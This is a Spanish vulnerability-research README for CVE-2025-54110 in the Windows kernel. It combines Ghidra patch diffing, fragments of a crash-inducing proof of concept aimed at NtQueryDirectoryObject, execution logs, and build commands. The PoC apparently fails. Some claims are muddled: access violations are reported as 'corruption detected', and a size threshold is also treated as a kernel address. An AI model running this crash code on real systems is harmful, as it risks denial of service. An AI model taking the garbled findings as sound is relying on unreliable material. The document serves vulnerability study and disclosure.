### 2. Archivos Analizados

El análisis inicial se centró en dos componentes principales del kernel:

#### win32k.sys (-)
- **Resultado:** No se detectaron cambios significativos
- **Rango de Puntuación:** 0.97-1.0 (alta similitud)
- **Conclusión:** No es el componente vulnerable para CVE-2025-54110

#### ntoskrnl.exe (+)
- **Resultado:** Múltiples funciones con cambios significativos
- **Rango de Puntuación:** Funciones con puntuaciones ≤0.951
- **Diferencias de Longitud:** Se detectaron variaciones en la longitud de bytes entre origen y destino
- **Elementos Exportados Totales:** 2,036 funciones para análisis

### 3. Resultados del Seguimiento de Versiones en Ghidra

Muestra de cambios identificados en `ntoskrnl.exe`:

| Puntuación | Confianza | Long. Origen | Long. Destino | Función Origen | Función Destino |
|------------|-----------|--------------|---------------|----------------|-----------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |

---

## Declaración del PoC

### Enfoque Técnico

El PoC (`precise_overflow_bsod.c`) intenta desencadenar la vulnerabilidad de desbordamiento de enteros mediante:

1. **Cálculo Preciso del Umbral:** `0xfffffdbc` (derivado de base=0x20, name=0x200)
2. **API NtQueryDirectoryObject:** Función objetivo para desencadenar el desbordamiento
3. **Estrategia de Ataque en Múltiples Fases:**
   - Fase 1: Intentos de desbordamiento de enteros de precisión
   - Fase 2: Apuntado a memoria del kernel
   - Fase 3: Explotación multihilo

### Estructura del Código

```c
// PoC Structure: precise_overflow_bsod.c
// Target: CVE-2025-54110 (Integer Overflow in ntoskrnl.exe)
// Approach: NtQueryDirectoryObject with crafted input
``````c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
    0xfffffdbc,  // Precise threshold - base=0x20, name=0x200
    0xfffffdbb,  // Threshold - 1
    0xfffffdbd,  // Threshold + 1
    0xfffffdba,  // Threshold - 2  
    0xfffffdbe,  // Threshold + 2
};

// Buffer configurations to test edge cases
PVOID buffer_types[] = {
    VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE),  // Normal buffer
    VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE),    // Small buffer
    NULL,                                                    // NULL pointer
    (PVOID)0x4141414141414141,                              // Invalid pointer
    (PVOID)0x0000000000000000,                              // Zero address
};

---

## Por qué el PoC no bloquea el sistema

### Resultados reales

El PoC devuelve consistentemente `STATUS_ACCESS_VIOLATION (0xC0000005)` sin provocar una Pantalla Azul de la Muerte (BSOD). Esto es **por diseño** y demuestra varios mecanismos críticos de seguridad del kernel de Windows:

### 1. Manejo Estructurado de Excepciones (SEH)```
User-Mode Input → NtQueryDirectoryObject
                        ↓
                  ProbeForRead/Write
                        ↓
                  __try { ... }
                        ↓
              Access Violation Detected
                        ↓
                  __except { ... }
                        ↓
            Return STATUS_ACCESS_VIOLATION

**Impacto en PoC:**
- Incluso si ocurre un desbordamiento, el acceso directo a la memoria del kernel al usuario está bloqueado
- Previene la explotación de vulnerabilidades de desreferencia de punteros

### 3. KASLR (Aleatorización del diseño del espacio de direcciones del kernel)```
Boot Time: Kernel Base = Random Address
                ↓
Hardcoded PoC address (0xfffffdbc)
                ↓
        Does NOT match actual kernel structures
                ↓
    Write to non-critical memory OR caught by SEH

---

## Análisis de la salida de ejecución del PoC

### Salida esperada

Ve el `STATUS_ACCESS_VIOLATION (0xC0000005)`, entonces está bien.```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
    CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y

[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[-] Exploit finished. If the system is still running, the attack may have been mitigated.

C:\Users\reLab\Desktop\cve>

### Comportamiento observado```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005

---

## Valor Educativo

### Qué Demuestra esta Prueba de Concepto

#### Resultados

1. **Metodología de Diffing de Parches**
   - Comparación de binarios previos/posteriores al parche utilizando Ghidra
   - Identificación de funciones modificadas mediante seguimiento de versiones
   - Análisis de métricas de similitud basadas en puntuaciones

2. **Arquitectura del Kernel de Windows**
   - Comprensión del flujo de syscall (`NtQueryDirectoryObject`)
   - Reconocimiento de los límites entre modo kernel y modo usuario
   - Aprendizaje de funciones internas de NTAPI

3. **Comportamiento de Mecanismos de Seguridad**
   - SEH en acción: excepción capturada vs. fallo del sistema
   - SMAP previniendo acceso no autorizado a memoria
   - KASLR derrotando la explotación de direcciones estáticas

4. **Proceso de Investigación de Vulnerabilidades**
   - Análisis de CVE y recopilación de información
   - Ingeniería inversa de cambios binarios
   - Prueba de hipótesis mediante intentos controlados de explotación

#### Limitaciones

1. **Las Protecciones Modernas del Kernel son Efectivas**
   - Intentos simples de desbordamiento son insuficientes
   - Varias capas de defensa deben ser eludidas
   - El análisis estático por sí solo no puede predecir la explotabilidad

2. **Brecha Entre Teoría y Práctica**
   - El desbordamiento de enteros existe (teórico)
   - La explotación práctica requiere:
     - Divulgación de información (filtración de direcciones del kernel)
     - Modelado del montón/Feng Shui
     - Cadenas ROP u otras primitivas de ejecución de código
     - Bypass de DEP, CFG, HVCI, etc.

---

## Funciones Prioritarias para el Análisis

Basado en las características de CVE-2025-54110 (Desbordamiento de Enteros → Desbordamiento de Búfer en el Kernel), priorice la revisión de las funciones en el CSV exportado que manejan:

### Categorías de Alta Prioridad```yaml
Integer/Size Calculations:
  - Functions with arithmetic operations on buffer sizes
  - Length calculation before allocation
  - Checked vs. unchecked math operations
  
Buffer/Memory Operations:
  - memcpy, memmove, RtlCopyMemory variants
  - ExAllocatePool* family
  - Buffer size validation routines
  
Object Directory Handling:
  - NtQueryDirectoryObject and related helpers
  - ObpLookupDirectoryEntry
  - Object enumeration functions
  
User-Mode Interface:
  - ProbeForRead/Write wrappers
  - Input validation functions
  - IOCTL handlers

**Paso 2: Búsqueda de palabras clave**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"

**Paso 4: Cambiar Magnitud**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)

### Compilación```bash
# on x64 Native Tools CLI for VS 20xx

# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib

# or
cl poc.c /link /SUBSYSTEM:CONSOLE

### Ejecución```powershell
# Run with admin privileges
.\poc64.exe

---

## Recursos y Referencias

### Fuentes Oficiales

- [Aviso de Seguridad de Microsoft - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190: Desbordamiento de Entero o Envolvimiento](https://cwe.mitre.org/data/definitions/190.html)
- [Internos del Kernel de Windows - Microsoft Docs](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)

### Herramientas de Investigación

- [Ghidra - Suite de Ingeniería Inversa de la NSA](https://ghidra-sre.org/)
- [WinDbg - Herramientas de Depuración de Windows](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)

### Lecturas Relacionadas

- [Desarrollo de Exploits para Kernel](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [Explotación del Kernel de Windows](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [Análisis de Diferencias de Parches con Ghidra](https://www.youtube.com/watch?v=K83T7iVla5s)

---

## Aviso Legal

Este código se proporciona ÚNICAMENTE CON FINES EDUCATIVOS.

NO utilice este código para:

• Acceso no autorizado a sistemas informáticos

• Ataques maliciosos o daños

• Cualquier actividad ilegal

El autor NO asume NINGUNA responsabilidad por el mal uso.
Los usuarios deben cumplir con todas las leyes aplicables.

**Al usar este código, usted reconoce:**

1. Tiene autorización para realizar pruebas en los sistemas objetivo
2. Comprende las implicaciones legales en su jurisdicción
3. Acepta la responsabilidad total por sus acciones
4. Esto es para aprender, no para actividades maliciosas

---

## Aviso Legal
Este repositorio se proporciona estrictamente con fines educativos, de investigación defensiva de seguridad y reproducción de vulnerabilidades en entornos de laboratorio controlados.
La información y el código de prueba de concepto están destinados a ayudar a defensores, investigadores y proveedores a comprender y remediar la vulnerabilidad reportada.
El uso no autorizado o malicioso de este código contra sistemas sin permiso explícito puede violar las leyes y regulaciones aplicables.
El autor no fomenta ni aprueba actividades ilegales y no asume ninguna responsabilidad por el mal uso o daños causados por este material.

Este informe de divulgación de vulnerabilidades se proporciona para:
1. Investigación y educación en seguridad
2. Notificación al proveedor y desarrollo de parches
3. Protección de los usuarios finales
4. Fines de seguridad académica y defensiva

**Usos Prohibidos:**
- Acceso no autorizado a sistemas informáticos
- Explotación maliciosa
- Cualquier actividad ilegal

El investigador realizó todas las pruebas en sistemas de propiedad personal en entornos controlados. No se realizó ningún acceso no autorizado a sistemas de terceros.

**Versión del Informe:** 1.0  
**Última Actualización:** 9 de febrero de 2026  

---

## Contacto

Para consultas legítimas de investigación en seguridad o colaboración educativa:

**Divulgación Responsable:**
- Problemas de seguridad con este PoC → Abra un Issue en GitHub
- Explotación real de CVE-2025-54110 → Reporte a [MSRC](https://msrc.microsoft.com/)

---

## Licencia```
MIT License - See LICENSE file for details

Educational software provided "as is" without warranty.
Use at your own risk.